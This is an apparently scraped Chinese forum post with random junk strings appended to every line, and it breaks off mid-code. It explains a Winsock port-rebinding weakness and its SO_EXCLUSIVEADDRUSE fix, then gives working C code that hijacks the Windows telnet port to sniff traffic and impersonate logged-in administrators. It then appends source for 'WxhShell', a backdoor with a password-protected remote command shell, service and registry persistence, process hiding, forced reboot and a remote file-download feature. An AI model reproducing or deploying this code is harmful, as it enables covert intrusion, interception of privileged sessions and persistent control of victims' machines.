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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n[{o~VN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B]kz3FF  
m(&ZNZK  
  saddr.sin_family = AF_INET; rb9 x||  
txliZ|.O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7IFUsli]  
&\5T`|~)!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =JEnK_@?K\  
6C   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3L#KHTM  
RJGf@am&  
  这意味着什么?意味着可以进行如下的攻击: 9m8`4%y=  
kH{axMNc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _:TD{EO$  
BV7GzJ2([{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _tYt<oB~%  
:yw0-]/DD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G*n5`N@>7  
9WHkw@<R+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &&tQ,5H5  
 g\n@(T$)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IU3OI:uq  
`< VoZ/v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YwKY3kL  
<6Br]a60RR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D3MuP p-v  
ww[STg  
  #include ~C[R%%Gu  
  #include ~r=u1]z  
  #include Kw'A%7^e  
  #include    F-2HE><+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Oa*/jZjr  
  int main() KaO8rwzDN  
  { r$*k-c9Bf  
  WORD wVersionRequested; F[Peil+|`  
  DWORD ret; B9+oI c O  
  WSADATA wsaData; P 0,]Ud  
  BOOL val; <m9IZI Y<  
  SOCKADDR_IN saddr; PN<Y&/fB  
  SOCKADDR_IN scaddr; o%CBSm]  
  int err; G*Qk9bk9  
  SOCKET s; Vrz<DB^-e  
  SOCKET sc; #E*jX-JT  
  int caddsize; EV]exYWB  
  HANDLE mt; >6(nW:I0y  
  DWORD tid;   "j~=YW+l  
  wVersionRequested = MAKEWORD( 2, 2 ); 9t;aJFI  
  err = WSAStartup( wVersionRequested, &wsaData ); cITQ,ah  
  if ( err != 0 ) { CK.Z-_M  
  printf("error!WSAStartup failed!\n"); AEEy49e  
  return -1; |f`!{=?  
  } I_N"mnn@Nr  
  saddr.sin_family = AF_INET; pcL02W|J  
   G!%1<SLi.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lQ)ZsFs=  
-O-_F6p'D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BYwG\2?~  
  saddr.sin_port = htons(23); E-&=I> B5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8a"aJYj  
  { ]`+>{Sx 1  
  printf("error!socket failed!\n"); $JcU0tPq0  
  return -1; y?Fh%%uNr  
  } Z\TH=UA  
  val = TRUE; u5%.T0 P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jw9|I)H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1jQz%^~  
  { X%39cXM C  
  printf("error!setsockopt failed!\n"); K2)),_,@5+  
  return -1; XPb7gd"% W  
  } u:fiil$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C9({7[k^%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hX~IZ((Hi8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !t[X/iu  
1\_4# @')  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !MQo= k  
  { c1e7h l  
  ret=GetLastError(); U =T[-(:H  
  printf("error!bind failed!\n"); W0l|E&fj[  
  return -1; t5[{ihv~:  
  } ^d-`?zb  
  listen(s,2); >.~^(  
  while(1) dH?;!sJ  
  { jG8 ihi  
  caddsize = sizeof(scaddr); 5 LXK#+Z  
  //接受连接请求 R '"J{oR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |jc87(x <  
  if(sc!=INVALID_SOCKET) Vk8:;Hj  
  { 9%iqequ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L,Uqt,  
  if(mt==NULL) v ;{s@CM m  
  { oZP:}= F  
  printf("Thread Creat Failed!\n"); eEupqOF*:W  
  break; R6CxNPRJ  
  } JF!!)6!2#  
  } O:#t> ;  
  CloseHandle(mt); hA)3Ah*  
  } Xg#Dbf4  
  closesocket(s); e6#^4Y/+`  
  WSACleanup(); .2Gn)dZU  
  return 0; d\xh>o  
  }   -KbT[]  
  DWORD WINAPI ClientThread(LPVOID lpParam) bV`Zo(z  
  { #%B1, .A  
  SOCKET ss = (SOCKET)lpParam; ef Ra|7!HK  
  SOCKET sc; h dPK eqg7  
  unsigned char buf[4096]; O*!+D-  
  SOCKADDR_IN saddr; "X"DTP1b  
  long num; A5B 5pJ  
  DWORD val; swe6AQ-  
  DWORD ret;  X1y1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @(&ki~+   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JrS/"QSA  
  saddr.sin_family = AF_INET; M HlP)'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D)f hk!<  
  saddr.sin_port = htons(23); (9@6M 8A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1%EIP -z  
  { A]ciox$AjW  
  printf("error!socket failed!\n"); a!xKS8-S==  
  return -1; ogDyrY}]  
  } OZ$u&>916  
  val = 100; xOPSw|!w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vz51=?75  
  { js'* :*7  
  ret = GetLastError(); !j( v-pQf"  
  return -1; !9OAMHa*9  
  } 6^}GXfJAc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e,|"9OK  
  { k h#|`E#,  
  ret = GetLastError(); d),@&MSN  
  return -1; =i\~][-  
  } ?Tt/,Hl?D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /V-7u  
  { xlv:+  
  printf("error!socket connect failed!\n"); A:& `oJl  
  closesocket(sc); lg;`ItX]  
  closesocket(ss); (Q\QZu@  
  return -1; -9vAY+s.  
  } HFvhrG  
  while(1) nEyP Nm )  
  { D("['`{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FHqa|4Ie  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 enK4`+.7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pA"pt~6  
  num = recv(ss,buf,4096,0); rh/3N8[6  
  if(num>0) ,5H$Tm,6\S  
  send(sc,buf,num,0); ayHI(4!$j  
  else if(num==0) FL"IPX;S  
  break; 1m|1eAGS{  
  num = recv(sc,buf,4096,0); <`~] P$  
  if(num>0) "EQ}xj  
  send(ss,buf,num,0); h$4V5V  
  else if(num==0) z35n3q  
  break; WcbJ4Ore  
  } NS mo(c >5  
  closesocket(ss); ~iyd p  
  closesocket(sc); ^ 4c2}>f  
  return 0 ; ;@ %~eIlu  
  } >0T0K`o  
l4v)tV~  
W>/O9?D  
========================================================== yV=hi?f-[V  
^~eT# Y8  
下边附上一个代码,,WXhSHELL ;(TBg-LEK  
>LwAG:Ud  
========================================================== -P@o>#Em  
Et# }XVCJ  
#include "stdafx.h" |`E\$|\p  
ir3iW*5k  
#include <stdio.h> Jel%1'Dc^  
#include <string.h> Pg|q{fc  
#include <windows.h> m -7^$  
#include <winsock2.h> K\,&wU  
#include <winsvc.h> ex&&7$CXc  
#include <urlmon.h> MoO jM&9  
pJK puoiX  
#pragma comment (lib, "Ws2_32.lib") NJLU +b yU  
#pragma comment (lib, "urlmon.lib") 0ot=BlMu  
{;=+#QK/  
#define MAX_USER   100 // 最大客户端连接数 6(<AuhFu  
#define BUF_SOCK   200 // sock buffer C  `k^So)  
#define KEY_BUFF   255 // 输入 buffer =+A8s$Pb  
/!d,f4n  
#define REBOOT     0   // 重启 <),FI <~  
#define SHUTDOWN   1   // 关机 x{5 I  
fb&K.6"  
#define DEF_PORT   5000 // 监听端口 ~|R"GloUw  
OKxPf]~4E  
#define REG_LEN     16   // 注册表键长度 ?Ju=L|  
#define SVC_LEN     80   // NT服务名长度 C Vyq/X  
v=iz*2+X  
// 从dll定义API O#CxS/M5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w9H%u0V?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3Akb|r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DyYl97+Z?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J:5%ff~r\  
>c;q IP)Z  
// wxhshell配置信息 J$]d%p_I  
struct WSCFG { W(a=ev2sa  
  int ws_port;         // 监听端口 oRmN|d ~4  
  char ws_passstr[REG_LEN]; // 口令 M I/ 9?B  
  int ws_autoins;       // 安装标记, 1=yes 0=no qf(!3  
  char ws_regname[REG_LEN]; // 注册表键名 G{YJ(6etZ  
  char ws_svcname[REG_LEN]; // 服务名 Bn-%).-ED  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zb<DgJ=3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SN\;&(?G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D@7\Fg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yrE|cH'f0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )I$_wB!UV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 52{jq18&  
CYes'lr  
}; OB;AgE@  
LtXFGPQf  
// default Wxhshell configuration ,hYUxh45  
struct WSCFG wscfg={DEF_PORT, D9 ,~Fc  
    "xuhuanlingzhe", d=Q0 /sI&  
    1, [;h@ q}  
    "Wxhshell", - "h {B  
    "Wxhshell", mY |$=n5X  
            "WxhShell Service", ~,m6g&>R  
    "Wrsky Windows CmdShell Service", q@r8V&-<  
    "Please Input Your Password: ", m:ITyQ+  
  1, E.}T.St  
  "http://www.wrsky.com/wxhshell.exe", 6*tI~  
  "Wxhshell.exe" \6 2|w HX  
    }; "72 _Sw  
^#vWdOlt  
// 消息定义模块 QU8?/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h9 [ov)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \b{=&B[Q$'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pdrz lu   
char *msg_ws_ext="\n\rExit."; \;$j "i&  
char *msg_ws_end="\n\rQuit."; kYmkKl_  
char *msg_ws_boot="\n\rReboot..."; zl4Iq+5~6Q  
char *msg_ws_poff="\n\rShutdown..."; W5HC7o\4  
char *msg_ws_down="\n\rSave to "; maXQG&.F  
Q<wrO  
char *msg_ws_err="\n\rErr!"; =uMoX -  
char *msg_ws_ok="\n\rOK!"; L&.9.Ll  
dHg[0Br)r  
char ExeFile[MAX_PATH]; f*p=]]y  
int nUser = 0; <Mxy&9}ic  
HANDLE handles[MAX_USER]; `:R8~>p  
int OsIsNt;  gX.4I;  
+p>tO\mo  
SERVICE_STATUS       serviceStatus; @0-<|,^]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gdNEMT  
}gGcYRT  
// 函数声明 "N D1$l  
int Install(void); vsRn \Y  
int Uninstall(void); cOxF.(L  
int DownloadFile(char *sURL, SOCKET wsh); gR?=z}`@p  
int Boot(int flag); D-69/3PvP  
void HideProc(void); [ !].G=8  
int GetOsVer(void); 6rq:jvlx$  
int Wxhshell(SOCKET wsl); ;[uJ~7e3  
void TalkWithClient(void *cs); yI)~- E.  
int CmdShell(SOCKET sock); O F2*zU7M  
int StartFromService(void); mj{TqF  
int StartWxhshell(LPSTR lpCmdLine); Vj2]-]Cm  
EO:i+e]=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j1_CA5V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OU/PB  
&3:-(:<U  
// 数据结构和表定义 '>@ evrG  
SERVICE_TABLE_ENTRY DispatchTable[] = roVGS{4T\  
{ B24wn8<  
{wscfg.ws_svcname, NTServiceMain}, |36d<b Io  
{NULL, NULL} mC8c`# 1T  
}; _r?H by<b  
LS?3 >1g  
// 自我安装 ApG_Gd.  
int Install(void) P I)lJ\  
{ .Q>.|mu  
  char svExeFile[MAX_PATH]; 8I$>e (  
  HKEY key; */u_RJ  
  strcpy(svExeFile,ExeFile); _RST[B.u6  
zL+jlUkE  
// 如果是win9x系统,修改注册表设为自启动 Gh>Rt=Qu%  
if(!OsIsNt) { [K9l>O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p>Qzz`@e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -V%"i,t  
  RegCloseKey(key); 4`7N}$j#,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dNUi|IYm$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p?>(y  
  RegCloseKey(key); }} J?, >g  
  return 0; bd5\Rt  
    }  |'aGj  
  } ~*79rDs{  
} v1oq[+  
else { si.ZTG9m  
iT227v!s  
// 如果是NT以上系统,安装为系统服务 RplLU7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .!/DM-C  
if (schSCManager!=0) @/9#Z4&d0  
{ I~-W4{  
  SC_HANDLE schService = CreateService x&@. [FJhO  
  ( zgI!S6q  
  schSCManager, '-N `u$3Y  
  wscfg.ws_svcname, N^*%{[<5  
  wscfg.ws_svcdisp, 7;2j^qPr  
  SERVICE_ALL_ACCESS, sn+g#v9e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pv|g.hH9m  
  SERVICE_AUTO_START, &7VN?ox1  
  SERVICE_ERROR_NORMAL, G%jgr"]\z  
  svExeFile, nm`[\3R  
  NULL, iVTC"v  
  NULL, 07P/A^Mkx  
  NULL, P<ElH 3J`  
  NULL, %M]%[4eC  
  NULL u!hY bCB  
  ); gFizw:l  
  if (schService!=0) ?#YheML?  
  { :PE{2*  
  CloseServiceHandle(schService);  Tvqq#;I  
  CloseServiceHandle(schSCManager); WYSqnmi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BiT #bg  
  strcat(svExeFile,wscfg.ws_svcname); @.0>gmY;:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Fku~'30  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eyUguA<lK\  
  RegCloseKey(key); N?hQ53#3  
  return 0; *?x$q/a  
    } zl^ %x1G  
  } &kUEnwQ -  
  CloseServiceHandle(schSCManager); duFVh8  
} Q3[MzIk 4  
} =(2y$,6g?  
)S@e&a|  
return 1; b"Hc==`  
} b+Vfi9<  
CT1@J-np  
// 自我卸载 (VV5SvdE  
int Uninstall(void) 6 <XQ'tM]N  
{ >Q3_-yY+  
  HKEY key; h;cl+c|B  
DB%}@IW"  
if(!OsIsNt) { -@L7! ,j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =z^ 2KH  
  RegDeleteValue(key,wscfg.ws_regname); m#1 >y}  
  RegCloseKey(key); !xk`oW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |>|f?^  
  RegDeleteValue(key,wscfg.ws_regname); Oy EOb>  
  RegCloseKey(key); D+m#_'ocL  
  return 0; _/V <iv  
  } (K xI*  
} \A7{kI  
} 1Xzgm0OS;  
else { QTr) r;Tro  
mv] .  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -UY5T@as  
if (schSCManager!=0) IUf&*'_  
{ uPCzs$R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -[/tS<U  
  if (schService!=0) $~7uDq  
  { 3 @ahN2  
  if(DeleteService(schService)!=0) { Hi%)TDfv  
  CloseServiceHandle(schService); ?#s9@R1  
  CloseServiceHandle(schSCManager); -&q@|h'  
  return 0; cD.afy  
  } qlSI|@CO  
  CloseServiceHandle(schService); =jv3O.zq  
  } #dA9v7  
  CloseServiceHandle(schSCManager); !]f80z  
} <<'%2q5  
} BOt1J_;(rO  
`vjn,2S}  
return 1; )qSjI_qt5  
} ]31>0yj[Q  
%#t*3[  
// 从指定url下载文件 9*~bAgkWI  
int DownloadFile(char *sURL, SOCKET wsh) I]GGmN  
{ !0-KB#  
  HRESULT hr; E'-lpE  
char seps[]= "/"; j<NZ4Rf  
char *token; 0JT"Pv_  
char *file; D/[;Y<X#V  
char myURL[MAX_PATH]; n?Zt\Kto  
char myFILE[MAX_PATH]; w#6)XR|+,.  
HuT4OGBFpC  
strcpy(myURL,sURL); 5 w-Pq&q  
  token=strtok(myURL,seps); $8>kk  
  while(token!=NULL) hgg 8r#4q  
  { OQ(w]G0LP  
    file=token; B]2m(0Y>>v  
  token=strtok(NULL,seps); H 48YX(HI  
  } 5Ve`j,`=<  
hGU  m7  
GetCurrentDirectory(MAX_PATH,myFILE); *kY JwO^  
strcat(myFILE, "\\"); TWSqn'<E  
strcat(myFILE, file); L|hELWru  
  send(wsh,myFILE,strlen(myFILE),0); '4KN  
send(wsh,"...",3,0); 'p FK+j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :+_uyp2V  
  if(hr==S_OK) E] 6]c!2:  
return 0; QM('bbN  
else F(O"S@  
return 1; +Y?) ?  
bG)EZ  
} o$QC:%[#  
A"tE~m;"7  
// 系统电源模块 `cQAO1-5  
int Boot(int flag) 'VpzB s#  
{ ]l7rM"  
  HANDLE hToken; ~nJ"#Q_T  
  TOKEN_PRIVILEGES tkp; k"3@ G?JY  
;!S i_b2  
  if(OsIsNt) { @.&KRAZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jn +*G<NJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t|urvoz  
    tkp.PrivilegeCount = 1; ~6A;H$dr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sw.k,p*r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !C(U9p. 0  
if(flag==REBOOT) { ^jb jH I&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #<K'RJn  
  return 0; LpK? C<?x  
} >P+o NY  
else { VTUSM{TC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uc{s\_  
  return 0; Pm7lP5  
} 3/N~`!zeX  
  } |.KB  
  else { CJjT-(a  
if(flag==REBOOT) { A^c  (  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8-_atL  
  return 0; .],:pL9d  
} *Sg6VGP  
else { ){LU>MW{&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ::p%R@?  
  return 0; QE|x[?7e,!  
} (gRTSd T ?  
} mEmgr(W  
Cxd^i  
return 1; h ,\5C/  
} )[ QT ?;  
q eDXG  
// win9x进程隐藏模块 5O(U1 *  
void HideProc(void) %I=/ y  
{ wRdN(`;v  
Tn"@u&P *  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {%_D> y  
  if ( hKernel != NULL ) \9fJ)*-  
  { eZ]>;5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j[Jwa*GQP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); : HM~!7e  
    FreeLibrary(hKernel); .6!cHL3ln  
  } bt*  
2]y Hxo/6  
return; \[G"/]J  
} ;qO3m -(d  
c|@OD3w2lM  
// 获取操作系统版本 X?YT>+g;  
int GetOsVer(void) AJ>$`=  
{ ]VR79l  
  OSVERSIONINFO winfo; #<y/m*Ota  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O7%8F Y  
  GetVersionEx(&winfo); [!C!R$AMa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |No9eZ8>.  
  return 1; _?]W%R|  
  else :IX,mDO  
  return 0; DUSQh+C  
} ? o&goiM  
v^J']p  
// 客户端句柄模块 ]UkqPtG;  
int Wxhshell(SOCKET wsl) n/Dg)n?  
{ i[4!% FxB  
  SOCKET wsh; # 0d7  
  struct sockaddr_in client; /2''EF';  
  DWORD myID; 1,Es'  
'C=(?H)M  
  while(nUser<MAX_USER) L=<$^m  
{ U'^ G-@  
  int nSize=sizeof(client); l, 9r d[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ng1bjq}E2  
  if(wsh==INVALID_SOCKET) return 1; TS`m&N{i")  
 @EURp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y[|9 +T  
if(handles[nUser]==0) ahdwoB   
  closesocket(wsh); 2%v6h  
else p' 6h9/  
  nUser++; O6vHo3k  
  } DJ0jtv6nQ-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )gz]F_  
_R^ZXtypd  
  return 0; aeVd.`lxM  
}  '9'f\  
G5|'uKz2"  
// 关闭 socket 9@?|rj e9  
void CloseIt(SOCKET wsh) b'C#]DorE  
{ H2xDC_Fs  
closesocket(wsh); V*r/0|vd  
nUser--; E@%1HO_  
ExitThread(0); L{GlDoFk  
} Z<W f/  
;s#I b_  
// 客户端请求句柄 i1X!G|Awfv  
void TalkWithClient(void *cs) L8f_^ *,  
{ D-D8La?0p  
<>(v~a]  
  SOCKET wsh=(SOCKET)cs; M1]w0~G  
  char pwd[SVC_LEN]; Ve qB/Q X  
  char cmd[KEY_BUFF]; P^ht$)Y  
char chr[1]; I]HLWF  
int i,j; 7Le- f  
P8#_E{f  
  while (nUser < MAX_USER) { \[|X^8j  
%__ @G_M  
if(wscfg.ws_passstr) { P)LQ=b}V#;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #V)l>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MR: H3  
  //ZeroMemory(pwd,KEY_BUFF); t\]kVo)  
      i=0; Q"Exmn3p  
  while(i<SVC_LEN) { <pXOE- G5  
1;+77<  
  // 设置超时 tKeozV[V  
  fd_set FdRead; -7XaS&.4  
  struct timeval TimeOut; m<LzgX  
  FD_ZERO(&FdRead); `gF ]  
  FD_SET(wsh,&FdRead); C^LxJG{L5  
  TimeOut.tv_sec=8; 4]E1x l  
  TimeOut.tv_usec=0; _j4 K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +K8T%GAr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (uX"n`Dk  
S|;}]6p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q);}1'c  
  pwd=chr[0]; t|9vb  
  if(chr[0]==0xd || chr[0]==0xa) { \II^&xSF  
  pwd=0; NG RXNh+  
  break; FjI1'Ah\  
  } Y] UoV_  
  i++; <Fv7JPN%  
    } cp"{W-Q{$  
*3h_'3yo@  
  // 如果是非法用户,关闭 socket VZe'6?#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [,;O$j}  
} |MN2v[y  
qG2P?DR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e|>@ >F]K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QxuU3#l  
\F\xZ.r  
while(1) { Gm> =s  
I~E&::,  
  ZeroMemory(cmd,KEY_BUFF); |Om9(xT  
X{[$4\di{  
      // 自动支持客户端 telnet标准   /1m+iM^V  
  j=0; E(z|LS*3  
  while(j<KEY_BUFF) { k py)kS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /!.]Y8yEH  
  cmd[j]=chr[0]; GO*D4<#u  
  if(chr[0]==0xa || chr[0]==0xd) { In;P33'p  
  cmd[j]=0;  XF>!~D  
  break; 5Q:49S47  
  } t\PSB  
  j++; (WP^}V5  
    } c/=\YeR  
n 4co s  
  // 下载文件 hQz1zG`z7  
  if(strstr(cmd,"http://")) { =s*4y$%I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q \S Sv;3_  
  if(DownloadFile(cmd,wsh)) 56u_viZ=8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~9,Fc6w4`+  
  else LF)wn -C}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0bD\`Jiv,  
  } F7/%,vf  
  else { Z N&9qw*  
]l3Y=Cl  
    switch(cmd[0]) { T-iQ!D~  
  meXwmO  
  // 帮助 ^; }Y ZBy  
  case '?': { gKmF#Z"\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Y\7E/T  
    break; %Na` \`L{F  
  } Okd.  ~  
  // 安装 Q. '2 v%i  
  case 'i': { t! u>l  
    if(Install()) ,|;\)tT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JuOCOl\  
    else 16nU`TN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D'^%Q_;u  
    break; b.8T<@a  
    } YY$Z-u(  
  // 卸载 ,Ij/ ^EC}  
  case 'r': { ??LE0i  
    if(Uninstall()) 9+8N-LZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bb+iUV|Do  
    else -6X+:r`>u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zz<o4b R  
    break; T-x9IoE  
    } l1 _"9a%H  
  // 显示 wxhshell 所在路径 x^ cJ~e2  
  case 'p': { Fiw^twz5  
    char svExeFile[MAX_PATH]; 3Tc90p l*t  
    strcpy(svExeFile,"\n\r"); FBOgaI83G  
      strcat(svExeFile,ExeFile); x2/ciC  
        send(wsh,svExeFile,strlen(svExeFile),0); ~zvZK]JoX  
    break; 6\VZ 6oS  
    } eOfVBF<C2  
  // 重启 J$T(p%  
  case 'b': { G,1g~h%I$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )(c%QWz  
    if(Boot(REBOOT)) |TF6&$>d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -q nOq[  
    else { cFq2 6(e  
    closesocket(wsh); +CXq41g"c  
    ExitThread(0); {d)L0KXK  
    } hvA|d=R(  
    break; m%.[|sZ3EM  
    } gO@LJ  
  // 关机 RXu` DWN  
  case 'd': { 9C!b f \  
